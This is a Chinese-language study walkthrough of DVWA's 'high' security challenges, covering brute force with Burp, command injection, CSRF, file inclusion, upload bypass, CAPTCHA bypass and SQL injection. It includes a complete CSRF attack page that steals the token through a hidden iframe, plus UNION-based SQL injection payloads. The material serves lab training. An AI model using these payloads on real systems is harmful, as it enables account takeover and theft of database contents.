目录
brute force(high)暴力破解
使用了随机token机制来防止CSRF【跨站请求伪造】
Token是服务端生成的一串字符串,当客户端第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
抓包发现验证了三个参数:用户名、密码、token
在bp里面爆破,选择pichfork模式
recursive_Grep:表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换user_token的值
选中服务器返回的token,表示每次从响应中获取该值
grep_extract:意思是用于提取响应消息中的有用信息
在recursive_Grep模式下只能用单线程,最后再把option里面的redirections设置为always
点击爆破
很明显,密码就是password,token就是value
command injection(high)
命令连接符:& && || |
|[管道符]:将前者处理的结果作为参数传给后者,并且只打印后者执行的结果
替换字符串时替换的是“| ”有空格,所以单独的|管道符可以出现在IP中:即command1|command2
CSRF(high)
写一个如下攻击脚本,后缀为html,打开后后,在靶场里面点击提交,就会回显password changed,表明密码已经改了
脚本作用:当受害者点进这个页面,脚本会通过一个隐藏框架偷偷访问修改密码的页面,获取页面完整的token,向服务器发送改密请求,完成csrf攻击
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://dvwa-master/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://dvwa-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
file inclusion(high)
文件包含的利用:利用相对路径或者绝对路径来读取文件
fnmatch():匹配函数,可匹配文件名或者路径名
!fnmatch( "file*", $file ) && $file != "include.php":要求传进去的参数必须必须以filexxxxx开头,才能通过验证去包含相应文件,file协议可以访问本地文件,就构造url访问本地文件
File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
再尝试用绝对路径读取文件,报错上面就有绝对路径
file upload(high):
getimagesize():将测定任何GIF、jpg、png…………的图像文件的大小,并返回图像的尺寸以及文件类型和一个可用于普通html文件中IMG标记中的height/width文本字符串,如果不能访问filename指定的图像或者其不是有效图像,getimagesize()将返回false,故getimagesize()主要是用于判断上传文件是不是有效的图片
制作木马图片绕过
图片木马原理:图片木马以文件上传漏洞为基本条件,将可执行的脚本写入到图片中去,再利用文件包含漏洞来执行图片中的一句话木马,从而获取目标服务器权限。
insecure CAPTCHA(high)
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"
与中级最大的区别:看$resp【这里指谷歌返回的验证结果】不正确且参数recaptcha_response_field的值是否是hidd3n_valu3和http包头的user agent[HTTP_USER_AGEN]是否等于reCAPTCHA,若相等,则验证通过,$resp我们无法控制故要修改两个参数的值使其匹配,抓包
SQL injection(high)
比中级多了一个limit 1,限制只能输出一条,可以用#注释掉
判断注入类型:很明显是字符型注入
获取字段数:order by数字# 字段数是2
获取版本和数据库库名 库名:database
获取数据库中的表名:1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
查列名:1’ union select1,group_concat(column_name)from information_schema.columns where table_name='users'#
获取表中信息